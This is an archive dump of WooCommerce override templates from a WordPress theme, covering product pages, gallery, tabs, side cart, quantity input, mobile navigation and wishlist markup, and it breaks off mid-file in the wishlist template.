 * This template can be overridden by copying it to yourtheme/woocommerce/content-single-product.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see     https://docs.woocommerce.com/document/template-structure/
 * @package WooCommerce\Templates
 */

defined( 'ABSPATH' ) || exit;
remove_action( 'woocommerce_single_product_summary', 'woocommerce_breadcrumb', 0 );
remove_action( 'woocommerce_before_single_product', 'woocommerce_output_all_notices', 10 );
remove_action( 'woocommerce_after_single_product_summary', 'woocommerce_output_product_data_tabs', 10 );
remove_action( 'woocommerce_after_single_product_summary', 'woocommerce_upsell_display', 15 );
remove_action( 'woocommerce_after_single_product_summary', 'woocommerce_output_related_products', 20 );
remove_action( 'woocommerce_single_product_summary', 'woocommerce_output_product_data_tabs', 35 );

global $post;
$product = wc_get_product( $post );
/**
 * Hook: woocommerce_before_single_product.
 *
 * @hooked woocommerce_output_all_notices - 10
 */
do_action( 'woocommerce_before_single_product' );

if ( post_password_required() ) {
	echo get_the_password_form(); // WPCS: XSS ok.

	return;
}
$content_style = get_theme_mod( 'penci_woocommerce_quickview_variations', true ) ? 'show-variable' : 'hide-variable';
?>
<div class="penci-content-quickview">
    <div id="product-<?php the_ID(); ?>" <?php wc_product_class( $content_style, $product ); ?>>

		<?php
		/**
		 * Hook: woocommerce_before_single_product_summary.
		 *
		 * @hooked woocommerce_show_product_sale_flash - 10
		 * @hooked woocommerce_show_product_images - 20
		 */
		do_action( 'woocommerce_before_single_product_summary' );
		?>

        <div class="entry-summary-wrapper penci-scroll">

            <div class="summary entry-summary">
				<?php
				/**
				 * Hook: woocommerce_single_product_summary.
				 *
				 * @hooked woocommerce_template_single_title - 5
				 * @hooked woocommerce_template_single_rating - 10
				 * @hooked woocommerce_template_single_price - 10
				 * @hooked woocommerce_template_single_excerpt - 20
				 * @hooked woocommerce_template_single_add_to_cart - 30
				 * @hooked woocommerce_template_single_meta - 40
				 * @hooked woocommerce_template_single_sharing - 50
				 * @hooked WC_Structured_Data::generate_product_data() - 60
				 */
				do_action( 'woocommerce_single_product_summary' );
				?>
            </div>
        </div>

		<?php
		/**
		 * Hook: woocommerce_after_single_product_summary.
		 *
		 * @hooked woocommerce_output_product_data_tabs - 10
		 * @hooked woocommerce_upsell_display - 15
		 * @hooked woocommerce_output_related_products - 20
		 */
		do_action( 'woocommerce_after_single_product_summary' );
		?>
    </div>
</div>
<?php do_action( 'woocommerce_after_single_product' ); ?>
PK     N\`    $  woocommerce/header/wishlist-icon.phpnu [        <?php
$wishlist_page_id = get_theme_mod( 'penci_woocommerce_wishlist_page' );
if ( $wishlist_page_id && ! get_theme_mod( 'penci_woo_shop_hide_wishlist_icon', false ) ) :
	?>
    <div id="top-header-wishlist"
         class="top-search-classes pcheader-icon wishlist-icon<?php if ( get_theme_mod( 'penci_topbar_search_check' ) ): echo ' clear-right'; endif; ?>">
        <a class="wishlist-contents" href="<?php echo esc_url( get_page_link( $wishlist_page_id ) ); ?>"
           title="<?php echo penci_woo_translate_text( 'penci_woo_trans_viewwishlist' ); ?>">

            <i class="penciicon-heart"></i>
            <span><?php do_action( 'penci_current_wishlist' ); ?></span>
        </a>
    </div>
<?php endif;
PK     N\    #  woocommerce/header/compare-icon.phpnu [        <?php
$compare_page_id = get_theme_mod( 'penci_woocommerce_compare_page' );
if ( $compare_page_id &&  ! get_theme_mod( 'penci_woo_shop_hide_compare_icon', false ) ):
	?>
    <div id="top-header-compare"
         class="top-search-classes pcheader-icon  compare-icon<?php if ( get_theme_mod( 'penci_topbar_search_check' ) ): echo ' clear-right'; endif; ?>">
        <a href="<?php echo esc_url( get_page_link( $compare_page_id ) ); ?>" class="compare-contents"
           title="<?php echo penci_woo_translate_text( 'penci_woo_trans_viewcompare' ); ?>">

            <i class="penciicon-exchange-2"></i>
            <span><?php do_action( 'penci_current_compare' ); ?></span>
        </a>
    </div>
<?php endif;
PK     N\^Ї    '  woocommerce/single-product/up-sells.phpnu [        <?php
/**
 * Single Product Up-Sells
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/single-product/up-sells.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see         https://docs.woocommerce.com/document/template-structure/
 * @package     WooCommerce\Templates
 * @version 	9.7.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( $upsells ) :
	$classess = array();
	$total = count( $upsells );
	$columns = get_theme_mod( 'penci_woo_upsell_columns', wc_get_loop_prop( 'columns' ) );
	$classess[] = $total > $columns || penci_is_mobile() ? 'slider' : 'normal';
	?>

    <section class="up-sells upsells products <?php echo implode( ' ', $classess ); ?>">
		<?php
		$heading = apply_filters( 'woocommerce_product_upsells_products_heading', penci_woo_translate_text( 'penci_woo_trans_upsell_title' ) );

		if ( $heading ) :
			?>
            <h2><?php echo esc_html( $heading ); ?></h2>
		<?php endif; ?>

		<?php woocommerce_product_loop_start(); ?>

		<?php foreach ( $upsells as $upsell ) : ?>

			<?php
			$post_object = get_post( $upsell->get_id() );

			setup_postdata( $GLOBALS['post'] = $post_object ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited, Squiz.PHP.DisallowMultipleAssignments.Found

			wc_get_template_part( 'content', 'product' );
			?>

		<?php endforeach; ?>

		<?php woocommerce_product_loop_end(); ?>

    </section>

<?php
endif;

wp_reset_postdata();
PK     N\$     )  woocommerce/single-product/sale-flash.phpnu [        <?php
/**
 * Single Product Sale Flash
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/single-product/sale-flash.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see         https://docs.woocommerce.com/document/template-structure/
 * @package     WooCommerce\Templates
 * @version 9.7.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

global $post, $product;


echo apply_filters( 'woocommerce_sale_flash', '<span class="onsale">' . penci_woo_translate_text( 'penci_woo_trans_sale' ) . '</span>', $post, $product );
PK     N\'/{  {  ,  woocommerce/single-product/product-image.phpnu [        <?php
/**
 * Single Product Image
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/single-product/product-image.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see     https://docs.woocommerce.com/document/template-structure/
 * @package WooCommerce\Templates
 * @version 9.7.0
 */
defined( 'ABSPATH' ) || exit;

// Note: `wc_get_gallery_image_html` was added in WC 3.3.2 and did not exist prior. This check protects against theme overrides being used on older versions of WC.
if ( ! function_exists( 'wc_get_gallery_image_html' ) ) {
	return;
}

global $product;
$product_id          = $product->get_id();
$img_width           = get_theme_mod( 'penci_single_product_img_width', 'standard' );
$img_width           = penci_get_single_product_meta( $product_id, 'product_general', 'penci_single_product_img_width', $img_width );
$img_width           = penci_is_mobile() ? 'standard' : $img_width;
$sticky              = get_theme_mod( 'penci_single_product_sticky_thumbnail_content', false );
$sticky_class        = $sticky ? 'penci-sticky-sidebar' : 'penci-normal-sidebar';
$quickview           = wc_get_loop_prop( 'quickview', false );
$quickview_class     = $quickview ? 'quickview-screen' : 'normal-screen';
$columns             = apply_filters( 'woocommerce_product_thumbnails_columns', 4 );
$post_thumbnail_id   = $product->get_image_id();
$attachment_ids      = $product->get_gallery_image_ids();
$thumbnail_position  = get_theme_mod( 'penci_single_product_thumbnail_position', 'thumbnail-left' );
$thumbnail_position  = penci_get_single_product_meta( $product_id, 'product_general', 'penci_single_product_thumbnail_position', $thumbnail_position );
$thumbnail_position  = $attachment_ids && $product->get_image_id() ? $thumbnail_position : 'thumbnail-left';
$thumbnail_position  = ( 'fullwidth-container' == $img_width || 'fullwidth' == $img_width ) ? 'thumbnail-without' : $thumbnail_position;
$thumbnail_position  = $quickview || penci_is_mobile() ? 'thumbnail-bottom' : $thumbnail_position;
$slider              = $attachment_ids && in_array( $thumbnail_position, array(
	'thumbnail-left',
	'thumbnail-right',
	'thumbnail-bottom',
	'thumbnail-without'
) ) ? true : '';
$wrapper_classes     = apply_filters(
	'woocommerce_single_product_image_gallery_classes',
	array(
		'woocommerce-product-gallery',
		'woocommerce-product-gallery--' . ( $post_thumbnail_id ? 'with-images' : 'without-images' ),
		'woocommerce-product-gallery--columns-' . absint( $columns ),
		'images',
		'no-js',
		$thumbnail_position,
		$sticky_class,
		$quickview_class
	)
);
$thumbnail_class     = $slider ? 'penci-thumbnail-slider splide' : 'penci-thumbnail-grid';
$thumbnail_fig_class = $slider ? 'splide__slide woocommerce-product-thumbnail' : 'woocommerce-product-thumbnail';
?>
<div class="<?php echo esc_attr( implode( ' ', array_map( 'sanitize_html_class', $wrapper_classes ) ) ); ?>"
     data-columns="<?php echo esc_attr( $columns ); ?>">
    <div class="theiaStickySidebar">

		<?php if ( $slider ): ?>

        <div class="penci-product-gallery-slider splide <?php echo esc_attr( $img_width ); ?>">
            <div class="penci-product-gallery-items swiper splide__track">
                <div class="splide__list penci-gallery-image-list swiper-wrapper">
					<?php endif; ?>
                    <figure data-slide_item="0" data-attr_id="<?php echo esc_attr( $post_thumbnail_id ); ?>"
                            class="swiper-slide splide__slide splide__slide-<?php echo esc_attr( $post_thumbnail_id ); ?> woocommerce-product-gallery__wrapper">
						<?php
						if ( $post_thumbnail_id ) {
							$html = penci_get_gallery_image_html( $post_thumbnail_id, true );
						} else {
							$html = '<div class="woocommerce-product-gallery__image--placeholder">';
							$html .= sprintf( '<img data-src="%s" alt="%s" class="penci-lazy wp-post-image" />', esc_url( wc_placeholder_img_src( 'woocommerce_single' ) ), esc_html__( 'Awaiting product image', 'woocommerce' ) );
							$html .= '</div>';
						}

						echo apply_filters( 'woocommerce_single_product_image_thumbnail_html', $html, $post_thumbnail_id ); // phpcs:disable WordPress.XSS.EscapeOutput.OutputNotEscaped
						?>
                    </figure>
					<?php
					if ( $attachment_ids && $product->get_image_id() && $slider ) {
						$slide = 1;
						foreach ( $attachment_ids as $attachment_id ) {

							echo '<figure data-slide_item="' . $slide ++ . '" data-attr_id="' . esc_attr( $attachment_id ) . '" class="swiper-slide splide__slide splide__slide-' . esc_attr( $attachment_id ) . ' woocommerce-product-gallery__wrapper">';

							if ( $attachment_id ) {
								$html = penci_get_gallery_image_html( $attachment_id, true );
							} else {
								$html = '<div class="woocommerce-product-gallery__image--placeholder">';
								$html .= sprintf( '<img data-src="%s" alt="%s" class="penci-lazy wp-post-image" />', esc_url( wc_placeholder_img_src( 'woocommerce_single' ) ), esc_html__( 'Awaiting product image', 'woocommerce' ) );
								$html .= '</div>';
							}

							echo apply_filters( 'woocommerce_single_product_image_thumbnail_html', $html, $attachment_id ); // phpcs:disable WordPress.XSS.EscapeOutput.OutputNotEscaped

							echo '</figure>';
						}
					}
					?>

					<?php if ( $slider ): ?>
                </div>
            </div>
        </div>
	<?php endif; ?>

		<?php if ( $attachment_ids && $product->get_image_id() && 'thumbnail-without' != $thumbnail_position ) : ?>
            <div class="<?php echo esc_attr( $thumbnail_class ); ?>">
				<?php if ( $slider ):
				array_unshift( $attachment_ids, $product->get_image_id() );
				?>
                <div class="splide__track swiper penci-thumbnail-image-wrapper">
                    <div class="penci-thumbnail-image-list splide__list swiper-wrapper"
                         data-total-slides="<?php echo count( $attachment_ids ); ?>">
						<?php
						endif;
						if ( $attachment_ids && $product->get_image_id() ) {
							$item_count = 0;
							foreach ( $attachment_ids as $attachment_id ) {
								echo '<figure class="swiper-slide item-' . $item_count . ' ' . esc_attr( $thumbnail_fig_class ) . '">';
								echo apply_filters( 'woocommerce_single_product_image_thumbnail_html', penci_get_gallery_image_html( $attachment_id, $slider ? false : true, $slider ), $attachment_id );
								echo '</figure>';
								$item_count ++;
							}
						}
						if ( $slider ): ?>
                    </div>
                </div>
                <div class="penci-custom-thumbnail-nav">
                    <button data-slide="-" class="penci-product-slider-prev"><i class="penciicon-up-chevron"></i><span
                                class="screen-reader-text"><?php echo esc_attr__( 'Previous', 'soledad' ); ?></span>
                    </button>
                    <button data-slide="+"
                            class="penci-product-slider-next"><i class="penciicon-down-chevron"></i><span
                                class="screen-reader-text"><?php echo esc_attr__( 'Next', 'soledad' ); ?></span>
                    </button>
                </div>
			<?php endif; ?>
            </div>
		<?php endif; ?>
    </div>
</div>
PK     N\~P  P  *  woocommerce/single-product/sticky-cart.phpnu [        <?php
global $product;
// Ensure visibility.
if ( empty( $product ) || ! $product->is_visible() ) {
	return;
}
$product_type = $product->get_type();
?>
<div class="penci-sticky-cart" id="sticky-cart">
    <div class="container">
        <div class="penci-sticky-cart-wrapper">
            <div class="penci-sticky-cart-title">
                <div class="product-image">
					<?php woocommerce_template_loop_product_thumbnail(); ?>
                </div>
                <div class="product-title">
                    <h3><?php the_title(); ?></h3>
                </div>
            </div>
            <div class="penci-sticky-cart-buttons">
                <div class="product-price">
			        <?php woocommerce_template_loop_price(); ?>
                </div>
                <div class="product-action">
			        <?php
			        if ( 'simple' == $product_type ) {
				        woocommerce_template_single_add_to_cart();
			        } else {
				        woocommerce_template_loop_add_to_cart();
			        }
			        ?>
                </div>
            </div>
        </div>
    </div>
</div>
PK     N\S    &  woocommerce/single-product/related.phpnu [        <?php
/**
 * Related Products
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/single-product/related.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see         https://docs.woocommerce.com/document/template-structure/
 * @package     WooCommerce\Templates
 * @version 	9.7.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( $related_products ) :
	$classess = array();
	$total = count( $related_products );
	$columns = get_theme_mod( 'penci_woo_related_columns', wc_get_loop_prop( 'columns' ) );
	$classess[] = $total > $columns || penci_is_mobile() ? 'slider' : 'normal';
	?>

    <section class="related products <?php echo implode( ' ', $classess ); ?>">

		<?php
		$heading = apply_filters( 'woocommerce_product_related_products_heading', penci_woo_translate_text( 'penci_woo_trans_relatedproduct' ) );

		if ( $heading ) :
			?>
            <h2><?php echo esc_html( $heading ); ?></h2>
		<?php endif; ?>

		<?php woocommerce_product_loop_start(); ?>

		<?php foreach ( $related_products as $related_product ) : ?>

			<?php
			$post_object = get_post( $related_product->get_id() );

			setup_postdata( $GLOBALS['post'] = $post_object ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited, Squiz.PHP.DisallowMultipleAssignments.Found

			wc_get_template_part( 'content', 'product' );
			?>

		<?php endforeach; ?>

		<?php woocommerce_product_loop_end(); ?>

    </section>
<?php
endif;

wp_reset_postdata();
PK     N\]    #  woocommerce/single-product/meta.phpnu [        <?php
/**
 * Single Product Meta
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/single-product/meta.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see         https://docs.woocommerce.com/document/template-structure/
 * @package     WooCommerce\Templates
 * @version 9.7.0
 */
use Automattic\WooCommerce\Enums\ProductType;
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

global $product;
?>
<div class="product_meta">

	<?php do_action( 'woocommerce_product_meta_start' ); ?>

	<?php if ( wc_product_sku_enabled() && ( $product->get_sku() || $product->is_type( ProductType::VARIABLE ) ) ) : ?>

        <span class="sku_wrapper"><span class="product_meta_title"><?php esc_html_e( 'SKU:', 'woocommerce' ); ?></span> <span
                    class="sku"><?php echo ( $sku = $product->get_sku() ) ? $sku : esc_html__( 'N/A', 'woocommerce' ); ?></span></span>

	<?php endif; ?>

	<?php echo wc_get_product_category_list( $product->get_id(), '<span class="sep">,</span> ', '<span class="posted_in"><span class="product_meta_title">' . _n( 'Category:', 'Categories:', count( $product->get_category_ids() ), 'woocommerce' ) . '</span> ', '</span>' ); ?>

	<?php echo wc_get_product_tag_list( $product->get_id(), '<span class="sep">,</span> ', '<span class="tagged_as"><span class="product_meta_title">' . _n( 'Tag:', 'Tags:', count( $product->get_tag_ids() ), 'woocommerce' ) . '</span> ', '</span>' ); ?>

	<?php do_action( 'woocommerce_product_meta_end' ); ?>

</div>
PK     N\vt    (  woocommerce/single-product/tabs/tabs.phpnu [        <?php
/**
 * Single Product tabs
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/single-product/tabs/tabs.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see     https://docs.woocommerce.com/document/template-structure/
 * @package WooCommerce\Templates
 * @version 9.8.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Filter tabs and allow third parties to add their own.
 *
 * Each tab is an array containing title, callback and priority.
 *
 * @see woocommerce_default_product_tabs()
 */
$penci_is_mobile = penci_is_mobile();
$product_style   = penci_get_single_product_meta( get_the_ID(), 'product_general', 'penci_single_product_style', get_theme_mod( 'penci_single_product_style', 'default' ) );
$product_tabs    = apply_filters( 'woocommerce_product_tabs', array() );
add_filter( 'woocommerce_product_additional_information_heading', '__return_false' );
add_filter( 'woocommerce_product_description_heading', '__return_false' );
if ( ! empty( $product_tabs ) ) : ?>

	<?php if ( 'default' == $product_style ): ?>

        <div class="woocommerce-tabs wc-tabs-wrapper">
            <ul class="tabs wc-tabs" role="tablist">
				<?php foreach ( $product_tabs as $key => $product_tab ) : ?>
                    <li class="<?php echo esc_attr( $key ); ?>_tab" id="tab-title-<?php echo esc_attr( $key ); ?>"
                        role="tab" aria-controls="tab-<?php echo esc_attr( $key ); ?>">
                        <a href="#tab-<?php echo esc_attr( $key ); ?>">
							<?php echo wp_kses_post( apply_filters( 'woocommerce_product_' . $key . '_tab_title', $product_tab['title'], $key ) ); ?>
                        </a>
                    </li>
				<?php endforeach; ?>
            </ul>
			<?php foreach ( $product_tabs as $key => $product_tab ) : ?>
                <div class="woocommerce-Tabs-panel woocommerce-Tabs-panel--<?php echo esc_attr( $key ); ?> panel woocommerce-single-tab-content post-entry entry-content wc-tab"
                     id="tab-<?php echo esc_attr( $key ); ?>" role="tabpanel"
                     aria-labelledby="tab-title-<?php echo esc_attr( $key ); ?>">
					<?php
					if ( isset( $product_tab['callback'] ) ) {
						call_user_func( $product_tab['callback'], $key, $product_tab );
					}
					?>
                </div>
			<?php endforeach; ?>

			<?php do_action( 'woocommerce_product_after_tabs' ); ?>
        </div>
	<?php else:
		?>
        <div class="woocommerce-accordion wc-accordion-wrapper">
			<?php
			$tab_count          = 1;
			foreach ( $product_tabs as $key => $product_tab ) :
				$classes = $tab_count == 1 ? 'active' : 'normal';
				$parent_classes = $tab_count == 1 ? 'parent-active' : 'normal';
				$display        = $tab_count == 1 ? 'block' : 'none';
				?>
                <div class="woocommerce-accordion-item <?php echo esc_attr( $parent_classes ); ?>">
                    <h4 class="woocommerce-accordion-title <?php echo esc_attr( $classes ); ?>"><a
                                data-toggle="collapse"
                                href="#accordion-<?php echo esc_attr( $key ); ?>"
                                aria-expanded="false"
                                aria-controls="#accordion-<?php echo esc_attr( $key ); ?>">
							<?php echo wp_kses_post( apply_filters( 'woocommerce_product_' . $key . '_tab_title', $product_tab['title'], $key ) ); ?>
                        </a></h4>
                    <div class="woocommerce-accordion-panel woocommerce-accordion-panel--<?php echo esc_attr( $key ); ?> panel woocommerce-single-tab-content post-entry entry-content wc-accordion"
                         id="accordion-<?php echo esc_attr( $key ); ?>"
                         aria-labelledby="tab-title-<?php echo esc_attr( $key ); ?>"
                         style="display:<?php echo esc_attr( $display ); ?>">
						<?php
						if ( isset( $product_tab['callback'] ) ) {
							call_user_func( $product_tab['callback'], $key, $product_tab );
						}
						?>
                    </div>
                </div>
				<?php
				$tab_count ++;
			endforeach;
			do_action( 'woocommerce_product_after_tabs' ); ?>
        </div>
	<?php endif; ?>

<?php endif; ?>
PK     N\}=       woocommerce/global/side-cart.phpnu [        <?php
defined( 'ABSPATH' ) || exit;
if ( is_customize_preview() && strpos( $_SERVER['HTTP_REFERER'], 'customize_amp=1') !== false) {
    return false;
}
$cart_style = get_theme_mod( 'penci_woo_cart_style', 'side-right' );
?>
<nav id="sidebar-sidebar-cart" class="woocommerce penci-sidebar-cart <?php echo esc_attr( $cart_style ); ?>">
    <div class="sidebar-cart-container">
        <div class="sidecart-heading">
            <h3><?php echo penci_woo_translate_text( 'penci_woo_trans_shopppingcart' ); ?></h3>
            <span class="close sidebar-cart-close"><i
                        class="penciicon-close-button"></i><?php echo penci_woo_translate_text( 'penci_woo_trans_close' ); ?></span>
        </div>
        <div class="sidecart-content">
            <div class="widget_shopping_cart_content">
				<?php woocommerce_mini_cart(); ?>
            </div>
        </div>
    </div>
</nav>
<div class="penci-sidebar-cart-close sidebar-cart-close"><?php echo penci_woo_translate_text( 'penci_woo_trans_close' ); ?></div>
PK     N\K	  K	  %  woocommerce/global/quantity-input.phpnu [        <?php
/**
 * @see     https://docs.woocommerce.com/document/template-structure/
 * @package WooCommerce\Templates
 * @version 10.1.0
 */

defined( 'ABSPATH' ) || exit;

/* translators: %s: Quantity. */
$label = ! empty( $args['product_name'] ) ? sprintf( esc_html__( '%s quantity', 'woocommerce' ), wp_strip_all_tags( $args['product_name'] ) ) : esc_html__( 'Quantity', 'woocommerce' );

// In some cases we wish to display the quantity but not allow for it to be changed.
if ( $max_value && $min_value === $max_value ) {
	$is_readonly = true;
	$input_value = $min_value;
} else {
	$is_readonly = false;
}
?>
    <div class="quantity">
        <input type="button" value="-" class="minus"/>
		<?php
		/**
		 * Hook to output something before the quantity input field.
		 *
		 * @since 7.2.0
		 */
		do_action( 'woocommerce_before_quantity_input_field' );
		?>
        <label class="screen-reader-text"
               for="<?php echo esc_attr( $input_id ); ?>"><?php echo esc_attr( $label ); ?></label>
        <input
                type="<?php echo $is_readonly ? 'text' : 'number'; ?>"
			<?php wp_readonly( $is_readonly ); ?>
                id="<?php echo esc_attr( $input_id ); ?>"
                class="<?php echo esc_attr( join( ' ', (array) $classes ) ); ?>"
                name="<?php echo esc_attr( $input_name ); ?>"
                value="<?php echo esc_attr( $input_value ); ?>"
                title="<?php echo esc_attr_x( 'Qty', 'Product quantity input tooltip', 'woocommerce' ); ?>"
				aria-label="<?php esc_attr_e( 'Product quantity', 'woocommerce' ); ?>"
                size="999999"
                min="<?php echo esc_attr( $min_value ); ?>"
                <?php if ( 0 < $max_value ) : ?>
					max="<?php echo esc_attr( $max_value ); ?>"
				<?php endif; ?>
			<?php if ( ! $is_readonly ): ?>
                step="<?php echo esc_attr( $step ); ?>"
                placeholder="<?php echo esc_attr( $placeholder ); ?>"
                inputmode="<?php echo esc_attr( $inputmode ); ?>"
                autocomplete="<?php echo esc_attr( isset( $autocomplete ) ? $autocomplete : 'on' ); ?>"
			<?php endif; ?>
        />
        <input type="button" value="+" class="plus"/>
		<?php
		/**
		 * Hook to output something after quantity input field
		 *
		 * @since 3.6.0
		 */
		do_action( 'woocommerce_after_quantity_input_field' );
		?>
    </div>
<?php
PK     N\/W  W  (  woocommerce/global/mobile-bottom-nav.phpnu [        <?php
defined( 'ABSPATH' ) || exit;
$mobile_bottom_nav = get_theme_mod( 'penci_woo_mobile_bottom_nav', false );
$menu_id           = get_theme_mod( 'penci_woo_mobile_nav_menu' );
$menu_custom       = get_theme_mod( 'penci_woo_mobile_show_custom_nav' );
$menu_woo_pages    = get_theme_mod( 'penci_woo_mobile_nav_items' );
if ( $menu_custom && $menu_id ) {
	?>
    <div class="penci-mobile-bottom-nav">
        <nav aria-label="Navigation Extra Menus">
			<?php
			wp_nav_menu( array(
				'menu'           => $menu_id,
				'container'      => false,
				'theme_location' => 'mobile-bottom-menu',
				'menu_class'     => 'menu',
				'depth'          => 1,
				'fallback_cb'    => 'penci_menu_fallback',
				'walker'         => new penci_menu_walker_nav_menu()
			) );
			?>
        </nav>
    </div>
	<?php
}
if ( $menu_woo_pages ) {
	?>
    <div class="penci-mobile-bottom-nav">
        <nav aria-label="<?php esc_attr_e('Navigation Extra Menus','soledad');?>">
            <ul>
				<?php
				$pages = $menu_woo_pages;
				foreach ( $pages as $page ) {
					$classes = strtolower( str_replace( ' ', '', $page ) );
					$icon    = '<i class="penci-footer-icon ' . esc_attr( $classes ) . '"></i>';
					?>

                    <li class="<?php echo esc_attr( $classes ); ?>">
                        <a href="<?php echo esc_url( penci_woo_get_custom_page_link( $page ) ); ?>">
							<?php echo $icon . $page; ?>
                        </a>
						<?php do_action( 'penci_footer_nav_' . $classes . '_item' ); ?>
                    </li>

					<?php
				}
				?>
            </ul>
        </nav>
    </div>
    </div>
	<?php
}
PK     N\    $  woocommerce/global/mobile-filter.phpnu [        <?php
defined( 'ABSPATH' ) || exit;
if ( ! get_theme_mod( 'pencidesign_woo_filter_widget_enable', true ) ) {
	return false;
}
$classes   = array();
$classes[] = get_theme_mod( 'pencidesign_woo_filter_widget_heading_style', get_theme_mod( 'penci_sidebar_heading_style', 'style-1' ) );
$classes[] = get_theme_mod( 'pencidesign_woo_filter_widget_heading_align', 'pcalign-center' );
$classes[] = get_theme_mod( 'pencidesign_woo_filter_widget_style', '' );
$classes[] = get_theme_mod( 'pencidesign_woo_filter_widget_icon_align', 'pciconp-right' );
$classes[] = get_theme_mod( 'pencidesign_woo_filter_widget_icon_design', 'pcicon-right' );
?>
<nav id="sidebar-product-filter"
     class="woocommerce penci-sidebar-filter <?php echo get_theme_mod( 'penci_woo_fw_panel_pst', 'side-right' ); ?>">
    <div class="sidebar-filter-container">
        <div class="sidefilter-heading">
            <h3><?php echo penci_woo_translate_text( 'penci_woo_trans_productfilter' ); ?></h3>
            <span class="close sidebar-filter-close-button"><i
                        class="penciicon-close-button"></i><?php echo penci_woo_translate_text( 'penci_woo_trans_close' ); ?></span>
        </div>
        <div class="sidebar-filter-content penci-sidebar-content <?php echo esc_attr( implode( ' ', $classes ) ); ?>">
			<?php do_action( 'penci-mobile-filter' ); ?>
			<?php
			if ( is_active_sidebar( 'sidebar-filter' ) ) :
				dynamic_sidebar( 'sidebar-filter' );
			else: ?>
                <div class="notice notice-error">
                    <p><?php
						if ( current_user_can( 'manage_options' ) ) {
							_e( 'Please go to <strong>Appearance > Widgets</strong>, add the filter to <strong>Sidebar Filter</strong>.', 'soledad' );
						} ?></p>
                </div>
			<?php endif; ?>
        </div>
    </div>
</nav>
<div class="penci-sidebar-filter-close sidebar-filter-close"><?php echo penci_woo_translate_text( 'penci_woo_trans_close' ); ?></div>
PK     N\UD      woocommerce/add-to-wishlist.phpnu [        <?php
/**
 * Add to wishlist template
 *
 * @author YITH
 * @package YITH\Wishlist\Templates\AddToWishlist
 */

/**
 * Template variables:
 *
 * @var $wishlist_url              string Url to wishlist page
 * @var $exists                    bool Whether current product is already in wishlist
 * @var $show_exists               bool Whether to show already in wishlist link on multi wishlist
 * @var $show_count                bool Whether to show count of times item was added to wishlist
 * @var $product_id                int Current product id
 * @var $product_type              string Current product type
 * @var $label                     string Button label
 * @var $browse_wishlist_text      string Browse wishlist text
 * @var $already_in_wishslist_text string Already in wishlist text
 * @var $product_added_text        string Product added text
 * @var $icon                      string Icon for Add to Wishlist button
 * @var $link_classes              string Classed for Add to Wishlist button
 * @var $available_multi_wishlist  bool Whether add to wishlist is available or not
 * @var $disable_wishlist          bool Whether wishlist is disabled or not
 * @var $template_part             string Template part
 * @var $container_classes         string Container classes
 * @var $fragment_options          array Array of data to send through ajax calls
 * @var $ajax_loading              bool Whether ajax loading is enabled or not
 * @var $var                       array Array of available template variables
 */

if ( ! defined( 'YITH_WCWL' ) ) {
	exit;
} // Exit if accessed directly

global $product;
?>

<div
        class="button yith-wcwl-add-to-wishlist add-to-wishlist-<?php echo esc_attr( $product_id ); ?> <?php echo esc_attr( $container_classes ); ?> wishlist-fragment on-first-load"
        data-fragment-ref="<?php echo esc_attr( $product_id ); ?>"
        data-fragment-options="<?php echo wc_esc_json( wp_json_encode( $fragment_options ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>"
>
	<?php if ( ! $ajax_loading ) : ?>
		<?php if ( ! ( $disable_wishlist && ! is_user_logged_in() ) ) : ?>

            <!-- ADD TO WISHLIST -->
			<?php yith_wcwl_get_template( 'add-to-wishlist-' . $template_part . '.php', $var ); ?>

            <!-- COUNT TEXT -->
			<?php
			if ( $show_count ) :
				echo wp_kses_post( yith_wcwl_get_count_text( $product_id ) );
			endif;
			?>

		<?php else : ?>
			<?php
			$login_url = add_query_arg(
				array(
					'wishlist_notice' => 'true',
					'add_to_wishlist' => $product_id,
				),
				get_permalink( wc_get_page_id( 'myaccount' ) )
			);
			?>
            <div class="yith-wcwl-add-button">
                <a
                        href="<?php echo esc_url( $login_url ); ?>"
                        class="button disabled_item <?php echo esc_attr( str_replace( array(
							'add_to_wishlist',
							'single_add_to_wishlist'
						), '', $link_classes ) ); ?>"
                        rel="nofollow"
                >
